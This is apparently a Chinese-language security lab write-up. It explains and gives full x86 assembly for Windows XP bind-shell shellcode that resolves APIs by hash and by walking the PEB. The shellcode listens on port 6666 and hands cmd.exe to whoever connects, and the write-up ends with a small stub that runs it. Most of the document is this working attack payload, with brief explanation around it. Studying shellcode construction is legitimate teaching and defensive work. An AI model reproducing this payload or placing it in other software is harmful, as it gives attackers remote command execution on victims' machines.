目录
一、实验环境
二、实验要求
三、实验步骤
1、高级语言编写此bindshell的大概思路
2、获取hash摘要
3、动态定位API函数地址
4、编写bindshell代码
本实验采用的操作系统为windows xp,实验软件有:vc++
编写的bindshell应该实现以下功能:
(1)调用WSAStartup()初始化winsocket;
注:任何使用Windows套接API的windows程序调用的第一个函数必须是WSAStartup()。
(2)调用WSASocket()创建套接字;
注:套接字是端口与IP地址的组合,用于进程之间的通信。
(3)调用bind()函数绑定套接字到本地(6666)端口;
(4)调用listen()函数对连接请求进行监听;
(5)调用accept()处理连接请求;
(6)创建一个cmd进程,并将其输入与输出重定向到创建的套接字上;
注:为客户端创建shell命令窗口,可以用CreateProcessA()函数。
(7)调用ExitProcess()用于程序的正常退出。
可以看到要想实现bindshell的功能,需要的函数包括:
LoadLibraryA() //用于装载ws2_32.dll
CreateProcessA()
ExitProcess()
注:windows下的socket程序依赖ws2_32.dll,必须提前装载。
WSAStartup()
WSASocket()
bind()
listen()
accept()
在用汇编语言编写bindshell之前,我们需要搜索相关库函数的导出表,查找导出表中的函数名,最终确定函数的入口地址。 在搜索操作中,采用比较hash摘要的办法,而不是直接比较函数名。
本实验采用的hash算法如下(esi指向当前hash的函数名,edx被初始化null):
hash_loop:
lodsb :把函数名中的一个字符装入al,并且esi+1,指向函数名中的下一个字符
xor al,0x71 ;用0x71异或当前字符
sub dl,al ;更新dl中的hash值
cmp al,0x71 ;继续循环,直到遇到字符串结尾的null
jne hash_loop
通过这个hsah函数,原函数名、hash值、hash值对应的指令三者之间的关系如下表:
函数名 | hash后得到的摘要 | 摘要对应的等价于nop的指令 |
LoadLibraryA | 0x59 | pop ecx |
CreateProcessA | 0x81 | or ecx,0x203062d3 |
ExitProcess | 0xc9 | |
WSAStartup | 0xd3 | |
WSASocket | 0x62 | |
bind | 0x30 | |
listen | 0x20 | |
accept | 0x41 | inc ecx |
需要注意:等价于nop指令,指的是相对于实际代码的上下文而言,不影响后续代码执行的指令。将等价于nop指令放在shellcode开头,就可以省去跳过这段摘要的跳转指令,进一步缩小shellcode的大小。
另外,在调用CreateProcessA的时候,需要“cmd”这个字符串作为参数得到一个命令行的shell。已知这个调用不需要后缀“.exe”,并且对字符串的大小写无关,也就是说,“cMD”和“cmD”是等价的。
ASCII字符 | ASCII值(机器码) | 机器码对应的指令 |
C | 0x43 | inc ebx |
M | 0x4d | dec ebp |
d | 0x64 | FS: |
从“CMd”字符的ASCII码对应的指令来看,对后续指令的执行基本上没有影响,属于“准nop”指令,故将字符“CMd”放在hash值后面。
有关动态定位API函数地址的原理,请参考CSDN
以定位kernel32.dll为例,代码如下:
mov ebx, fs:[edx+0x30] // ebx = address of PEB
mov ecx, [ebx+0x0c] // ecx = pointer to loader data
mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll
__asm
{
// eax points here
// function hashes (executable as nop-equivalent)
_emit 0x59 // LoadLibraryA // pop ecx
_emit 0x81 // CreateProcessA // or ecx,0x203062d3
_emit 0xc9 // ExitProcess
_emit 0xd3 // WSAStartup
_emit 0x62 // WSASocketA
_emit 0x30 // bind
_emit 0x20 // listen
_emit 0x41 // accept // inc ecx
// "CMd"
_emit 0x43 // inc ebx
_emit 0x4d // dec ebp
_emit 0x64 // FS:
// start of proper code
cdq // set edx=0 (eax points to stack so is less than 0x80000000)
xchg eax,esi // esi = addr of first function hash
lea edi, [esi-0x18] // edi = addr of start writing function
// address (last addr will be written just before "cmd")
// find base addr of kernel32.dll
mov ebx, fs:[edx+0x30] // ebx = address of PEB
mov ecx, [ebx+0x0c] // ecx = pointer to loader data
mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll
// make some stack space
mov dh,0x03 // sizeof(WSADATA) is 0x190
sub esp,edx
// push a pointer to "ws2_32" onto stack
mov dx,0x3233 // rest of edx is null
push edx
push 0x5f327377
push esp
find_lib_functions:
lodsb // load next hash into al and increment esi
cmp al, 0xd3 // hash of "WSAStartup" - trigger LoadLibrary("ws2_32")
jne find_functions
xchg eax,ebp // save current hash
call [edi - 0xc] // LoadLibraryA
xchg eax,ebp // restore current hash, and update ebp
// whith base address of ws2_32.dll
push edi // save location of addr of first winsock function
find_functions:
pushad // preserve registers
mov eax, [ebp+0x3c] // eax = start of PE header
mov ecx, [ebp+eax+0x78] // ecx = relative offset of export table
add ecx, ebp // ecx = absolute addr of export table
mov ebx, [ecx+0x20] // ebx = relative offset of names table
add ebx, ebp // ebx = absolute addr of names table
xor edi, edi // edi will count through the functions
next_function_loop:
inc edi // increment function counter
mov esi, [ebx+edi*4] // esi = relative offset of current function name
add esi, ebp // esi = absolute addr of current function name
cdq //dl will hold hash(we know eax is small)
hash_loop:
lodsb // load next char into al and increment esi
xor al, 0x71 // xor current char with 0x71
sub dl, al // update hash with current char
cmp al, 0x71 // loop until we reach end of string
jne hash_loop
cmp dl, [esp+0x1c] // compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
//we now have the right function
mov ebx, [ecx + 0x24] //ebx = relative offset of ordinals table
add ebx, ebp //ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] //di = ordinal number of matched function
mov ebx, [ecx + 0x1c] //ebx = relative offset of address table
add ebx, ebp //ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] //add to ebp (base addr of module) the relative
// offset of matched function
xchg eax, ebp // move func addr into eax
pop edi // edi is last onto stack in pushad write
stosd // write functon addr to [edi] and increment edi
push edi
popad // restore registers
cmp esi, edi // loop until we reach end of last hash
jne find_lib_functions
pop esi // saved location of first winsock function
// we will lodsd and call each func in sequence
// initialize winsock
push esp // use stack for WSADATA
push 0x02 // wVersionRequested
lodsd
call eax // WSAStartup
// null-terminate "cmd"
mov byte ptr[esi + 0x13], al // eax ==0 if WSAStartup() worked
// clear some stack to use as NULL parameters
lea ecx, [eax+0x30] // sizeof(STARTUPINFO) = 0x44
mov edi,esp
rep stosd // eax is still 0
//create socket
inc eax
push eax // type = 1 (SOCK_STREAM)
inc eax
push eax // af = 2 (AF_INET)
lodsd
call eax // WSASocketA
xchg ebp,eax // save SOCKET descriptor in ebp
// (safe from being changed by remaining API calls)
// push bind parameters
mov eax, 0x0a1aff02 // ox1a0a = port 6666, 0x02 = AF_INET
xor ah,ah // remove the ff from eax
push eax // we use 0x0a1a0002 as both the name (strucht sockaddr)
// and namelen (which only needs to be large enough)
push esp // pointer to our sockaddr struct
// call bind(), linsten() and accept() in turn
call_loop:
push ebp //save SOCKET descriptor(we implicitly pass NULL for all other params)
lodsd
call eax // call the next function
test eax,eax // bind() and listen() return 0,
// accept() returns a SOCKET descriptor
jz call_loop
// initialise a STARTUPINFO structrue at esp
inc byte ptr[esp+0x2d] // set STARTF_USERTDHANDLES to true
sub edi,0x6c // point edi at hStdInput in STARTUPINFO
stosd //use SOCKET descriptor returned by accept (still in eax)
// as the stdin handle same for stdout
stosd // same for stderr (optional)
// create process
pop eax // set eax = 0 (STARTUPINFO now at esp+4)
push esp // use stack at PROCESSINFORMATION structure
// (STARTUPINFO now back to esp)
push esp // STARTUPINFO structrue
push eax // lpCurrentDirectory = NULL
push eax // lpEnvironment = NULL
push eax // dwCreationFlags = NULL
push esp // bInheritHandles = TRUE
push eax // lpThreadAttributes = NULL
push eax // lpProcessAttributes = NULL
push esi // lpCommandLine = "cmd"
push eax // lpApplicationName = NULL
call[esi-0x1c] // CreateProcessA
// call ExitProcess()
call[esi-0x18] //ExitProcess
}
可以j将上述代码转化为机器码形式,用以下的代码装载shellcode:
void main()
{
__asm
{
lea eax,sc
push eax
ret
}
}